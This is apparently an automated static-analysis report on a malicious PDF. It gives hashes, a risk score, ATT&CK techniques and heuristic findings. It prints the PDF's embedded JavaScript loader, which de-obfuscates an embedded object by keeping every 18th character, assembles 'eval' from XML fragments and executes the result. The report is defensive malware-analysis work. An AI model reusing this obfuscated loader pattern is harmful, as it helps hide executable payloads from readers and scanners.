Malicious PDF — malware analysis report

Static analysis result for SHA-256 7931a755b2451b57…

MALICIOUS

PDF

5.8 KB First seen: 2013-07-12
MD5: ca527f572f55e7d035327e485195c778 SHA-1: a5b64efb0d6a8c65f57d1601e1634a2f124457c1 SHA-256: 7931a755b2451b573fb3f3d5c894c22b641464992341ba5aac6a856893aa31f2
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF contains embedded JavaScript that attempts to extract data from an embedded object named 'xampp'. This extracted data is then passed to an eval function, likely to execute malicious code. The ML classifier strongly indicates maliciousness, and the malformed stream length heuristic suggests an exploit attempt.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0012.bin pdf-embedded-file PDF EmbeddedFile object 12 at offset 0x3D6 148050 bytes
SHA-256: a2a2774ac5a2f1b1a235d626fb5feeee41b101feac49546342c9e7982a61267c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 145 long base64-like blob(s).
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x1A0 254 bytes
SHA-256: 1bc4bf38a788adcc495fb84f1f085cb4c62f9f214ddac09c9e3dd447973e35e6
Preview script
First 1,000 lines of the extracted script
ra=this.getDataObjectContents("xampp");rb=util.stringFromStream(ra, "utf-8");rc="";for (i=0;i<rb.length;i +=18){   rc +=rb.charAt(i);}rd="<test><one>ev</one><two>al</two></test>";re=XMLData.parse(rd);        rf=re.one.value+re.two.value;this[rf](rc);

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